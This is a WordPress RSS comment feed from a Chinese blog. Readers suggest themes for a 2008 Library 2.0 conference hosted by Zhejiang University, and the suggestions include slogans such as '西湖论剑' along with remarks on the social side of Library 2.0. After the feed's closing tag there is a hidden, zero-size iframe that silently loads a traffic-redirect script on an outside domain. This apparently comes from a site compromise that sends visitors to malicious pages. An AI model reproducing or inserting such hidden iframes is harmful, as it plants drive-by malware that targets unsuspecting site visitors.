<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>《用自掏腰包请客的诚意征集图书馆2.0会议主题》的评论</title>
	<atom:link href="http://www.mingzhiguwen.net/archives/287.html/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mingzhiguwen.net/archives/287.html</link>
	<description></description>
	<lastBuildDate>Mon, 26 Dec 2011 03:02:12 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
	<item>
		<title>作者：Ginny</title>
		<link>http://www.mingzhiguwen.net/archives/287.html/comment-page-1#comment-3066</link>
		<dc:creator>Ginny</dc:creator>
		<pubDate>Sat, 01 Dec 2007 11:19:41 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e7%94%a8%e8%87%aa%e6%8e%8f%e8%85%b0%e5%8c%85%e8%af%b7%e5%ae%a2%e7%9a%84%e8%af%9a%e6%84%8f%e5%be%81%e9%9b%86%e5%9b%be%e4%b9%a6%e9%a6%8620%e4%bc%9a%e8%ae%ae%e4%b8%bb%e9%a2%98.html#comment-3066</guid>
		<description>


受到槐师、K师和江江的启发，偶还有一点小小的想法供参考：）既然是承接厦大的会议，而厦大的“服务，因你而变”又是如此经典，即在理念上完成了一种“以用户为中心”的思想启蒙运动（注意：那时官方提法还是web2.0）。随着认识的深入和应用的推广，2.0的精神内涵会慢慢（实际已经）渗透、融入到图书馆的整个肌体中，沪上两次以“图书馆2.0”正式命名的研讨会意义重大，即在于传递了国内图书馆界正式接纳web2.0的一个讯息，而且会议内容也呈现了lib2.0逐步推进、日益成形的发展态势。顺着这个思路，结合前面我非常认同游园的看法，即要关注lib2.0的“社会性”（可惜国内现在关注不太够），偶的建议是：本次杭州会议一定要有“图书馆2.0”出现在主题中，厦大那时还是“服务”做先导词，但目前lib2.0的影响力和关注面已远远超出服务的领地。而且，在技术之外，我们谈论和思考的很多方面实际都可归结为与lib2.0的价值塑造和体现有关（不管是已外显的、潜在的还是未知的），简言之，主题是否可以定为：图书馆2.0：社会性与价值发现（窃以为这个主题可能会给人更多的思考和发挥空间）
</description>
		<content:encoded><![CDATA[<p>受到槐师、K师和江江的启发，偶还有一点小小的想法供参考：）既然是承接厦大的会议，而厦大的“服务，因你而变”又是如此经典，即在理念上完成了一种“以用户为中心”的思想启蒙运动（注意：那时官方提法还是web2.0）。随着认识的深入和应用的推广，2.0的精神内涵会慢慢（实际已经）渗透、融入到图书馆的整个肌体中，沪上两次以“图书馆2.0”正式命名的研讨会意义重大，即在于传递了国内图书馆界正式接纳web2.0的一个讯息，而且会议内容也呈现了lib2.0逐步推进、日益成形的发展态势。顺着这个思路，结合前面我非常认同游园的看法，即要关注lib2.0的“社会性”（可惜国内现在关注不太够），偶的建议是：本次杭州会议一定要有“图书馆2.0”出现在主题中，厦大那时还是“服务”做先导词，但目前lib2.0的影响力和关注面已远远超出服务的领地。而且，在技术之外，我们谈论和思考的很多方面实际都可归结为与lib2.0的价值塑造和体现有关（不管是已外显的、潜在的还是未知的），简言之，主题是否可以定为：图书馆2.0：社会性与价值发现（窃以为这个主题可能会给人更多的思考和发挥空间）</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：江江</title>
		<link>http://www.mingzhiguwen.net/archives/287.html/comment-page-1#comment-3067</link>
		<dc:creator>江江</dc:creator>
		<pubDate>Thu, 29 Nov 2007 08:51:59 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e7%94%a8%e8%87%aa%e6%8e%8f%e8%85%b0%e5%8c%85%e8%af%b7%e5%ae%a2%e7%9a%84%e8%af%9a%e6%84%8f%e5%be%81%e9%9b%86%e5%9b%be%e4%b9%a6%e9%a6%8620%e4%bc%9a%e8%ae%ae%e4%b8%bb%e9%a2%98.html#comment-3067</guid>
		<description>


我觉得可以用KEVEN先生的  ——图书馆2.0：升级你的图书馆
</description>
		<content:encoded><![CDATA[<p>我觉得可以用KEVEN先生的  ——图书馆2.0：升级你的图书馆</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：魔鱼</title>
		<link>http://www.mingzhiguwen.net/archives/287.html/comment-page-1#comment-3068</link>
		<dc:creator>魔鱼</dc:creator>
		<pubDate>Tue, 27 Nov 2007 06:06:30 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e7%94%a8%e8%87%aa%e6%8e%8f%e8%85%b0%e5%8c%85%e8%af%b7%e5%ae%a2%e7%9a%84%e8%af%9a%e6%84%8f%e5%be%81%e9%9b%86%e5%9b%be%e4%b9%a6%e9%a6%8620%e4%bc%9a%e8%ae%ae%e4%b8%bb%e9%a2%98.html#comment-3068</guid>
		<description>


可以先报名不，啥时候开啊
</description>
		<content:encoded><![CDATA[<p>可以先报名不，啥时候开啊</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：进一言</title>
		<link>http://www.mingzhiguwen.net/archives/287.html/comment-page-1#comment-3069</link>
		<dc:creator>进一言</dc:creator>
		<pubDate>Mon, 26 Nov 2007 15:48:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e7%94%a8%e8%87%aa%e6%8e%8f%e8%85%b0%e5%8c%85%e8%af%b7%e5%ae%a2%e7%9a%84%e8%af%9a%e6%84%8f%e5%be%81%e9%9b%86%e5%9b%be%e4%b9%a6%e9%a6%8620%e4%bc%9a%e8%ae%ae%e4%b8%bb%e9%a2%98.html#comment-3069</guid>
		<description>


超平，是浙江大学在主办这样一个会议，不是草台班子主办，不是个人博克主办，千万别游戏化。
</description>
		<content:encoded><![CDATA[<p>超平，是浙江大学在主办这样一个会议，不是草台班子主办，不是个人博克主办，千万别游戏化。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：老槐</title>
		<link>http://www.mingzhiguwen.net/archives/287.html/comment-page-1#comment-3070</link>
		<dc:creator>老槐</dc:creator>
		<pubDate>Mon, 26 Nov 2007 13:49:12 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e7%94%a8%e8%87%aa%e6%8e%8f%e8%85%b0%e5%8c%85%e8%af%b7%e5%ae%a2%e7%9a%84%e8%af%9a%e6%84%8f%e5%be%81%e9%9b%86%e5%9b%be%e4%b9%a6%e9%a6%8620%e4%bc%9a%e8%ae%ae%e4%b8%bb%e9%a2%98.html#comment-3070</guid>
		<description>


尽管没想通应该用什么主题，但西湖论剑绝对不好。首先这个主题被马云用过，不但有抄袭之嫌且有炒作之嫌、江湖之嫌。其次，这个题目与厦门的比，简直惨不忍睹了。
</description>
		<content:encoded><![CDATA[<p>尽管没想通应该用什么主题，但西湖论剑绝对不好。首先这个主题被马云用过，不但有抄袭之嫌且有炒作之嫌、江湖之嫌。其次，这个题目与厦门的比，简直惨不忍睹了。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：河边</title>
		<link>http://www.mingzhiguwen.net/archives/287.html/comment-page-1#comment-3071</link>
		<dc:creator>河边</dc:creator>
		<pubDate>Mon, 26 Nov 2007 13:15:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e7%94%a8%e8%87%aa%e6%8e%8f%e8%85%b0%e5%8c%85%e8%af%b7%e5%ae%a2%e7%9a%84%e8%af%9a%e6%84%8f%e5%be%81%e9%9b%86%e5%9b%be%e4%b9%a6%e9%a6%8620%e4%bc%9a%e8%ae%ae%e4%b8%bb%e9%a2%98.html#comment-3071</guid>
		<description>


西湖论剑好是好，只是少了点推进Lib.20的气势，且与新杭州发展的大背景不够匹配。真喜欢此类句子，还不如用当初偶那句——钱塘起潮！
</description>
		<content:encoded><![CDATA[<p>西湖论剑好是好，只是少了点推进Lib.20的气势，且与新杭州发展的大背景不够匹配。真喜欢此类句子，还不如用当初偶那句——钱塘起潮！</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：Ginny</title>
		<link>http://www.mingzhiguwen.net/archives/287.html/comment-page-1#comment-3072</link>
		<dc:creator>Ginny</dc:creator>
		<pubDate>Mon, 26 Nov 2007 04:28:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e7%94%a8%e8%87%aa%e6%8e%8f%e8%85%b0%e5%8c%85%e8%af%b7%e5%ae%a2%e7%9a%84%e8%af%9a%e6%84%8f%e5%be%81%e9%9b%86%e5%9b%be%e4%b9%a6%e9%a6%8620%e4%bc%9a%e8%ae%ae%e4%b8%bb%e9%a2%98.html#comment-3072</guid>
		<description>


补充：我同意游园所说的图书馆2.0特别强调社会性和开放性，需要特别关注，因此，即使不作为主题，也应是重点讨论的会议议题，供参考：）
</description>
		<content:encoded><![CDATA[<p>补充：我同意游园所说的图书馆2.0特别强调社会性和开放性，需要特别关注，因此，即使不作为主题，也应是重点讨论的会议议题，供参考：）</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：Ginny</title>
		<link>http://www.mingzhiguwen.net/archives/287.html/comment-page-1#comment-3073</link>
		<dc:creator>Ginny</dc:creator>
		<pubDate>Mon, 26 Nov 2007 04:22:51 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e7%94%a8%e8%87%aa%e6%8e%8f%e8%85%b0%e5%8c%85%e8%af%b7%e5%ae%a2%e7%9a%84%e8%af%9a%e6%84%8f%e5%be%81%e9%9b%86%e5%9b%be%e4%b9%a6%e9%a6%8620%e4%bc%9a%e8%ae%ae%e4%b8%bb%e9%a2%98.html#comment-3073</guid>
		<description>


呵呵，西湖论剑！定下来了？注定2008的lib2.0将是一场江湖盛会了
</description>
		<content:encoded><![CDATA[<p>呵呵，西湖论剑！定下来了？注定2008的lib2.0将是一场江湖盛会了</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：超平</title>
		<link>http://www.mingzhiguwen.net/archives/287.html/comment-page-1#comment-3074</link>
		<dc:creator>超平</dc:creator>
		<pubDate>Sat, 24 Nov 2007 02:04:58 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e7%94%a8%e8%87%aa%e6%8e%8f%e8%85%b0%e5%8c%85%e8%af%b7%e5%ae%a2%e7%9a%84%e8%af%9a%e6%84%8f%e5%be%81%e9%9b%86%e5%9b%be%e4%b9%a6%e9%a6%8620%e4%bc%9a%e8%ae%ae%e4%b8%bb%e9%a2%98.html#comment-3074</guid>
		<description>


leon，你太有才了！看来这饭得咱俩去吃了。 刚才跟叶帅通了电话，“西湖论剑”被看好。说好了，咱不找第三者陪同。
</description>
		<content:encoded><![CDATA[<p>leon，你太有才了！看来这饭得咱俩去吃了。 刚才跟叶帅通了电话，“西湖论剑”被看好。说好了，咱不找第三者陪同。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：leon</title>
		<link>http://www.mingzhiguwen.net/archives/287.html/comment-page-1#comment-3075</link>
		<dc:creator>leon</dc:creator>
		<pubDate>Fri, 23 Nov 2007 08:41:50 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e7%94%a8%e8%87%aa%e6%8e%8f%e8%85%b0%e5%8c%85%e8%af%b7%e5%ae%a2%e7%9a%84%e8%af%9a%e6%84%8f%e5%be%81%e9%9b%86%e5%9b%be%e4%b9%a6%e9%a6%8620%e4%bc%9a%e8%ae%ae%e4%b8%bb%e9%a2%98.html#comment-3075</guid>
		<description>


咱们来一个拷贝马云的东东：图书馆2.0 -- 西湖论剑再来一个够八卦的：图书馆2.0 -- 革命不是请客吃饭 （不能用这样的方式征求这样的主题地）再来一个正儿八经的：图书馆2.0 -- 更好的图书馆、更好的生活 （哈哈，也是抄世博的）文抄公交差了事。:-)
</description>
		<content:encoded><![CDATA[<p>咱们来一个拷贝马云的东东：图书馆2.0 &#8212; 西湖论剑再来一个够八卦的：图书馆2.0 &#8212; 革命不是请客吃饭 （不能用这样的方式征求这样的主题地）再来一个正儿八经的：图书馆2.0 &#8212; 更好的图书馆、更好的生活 （哈哈，也是抄世博的）文抄公交差了事。:-)</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
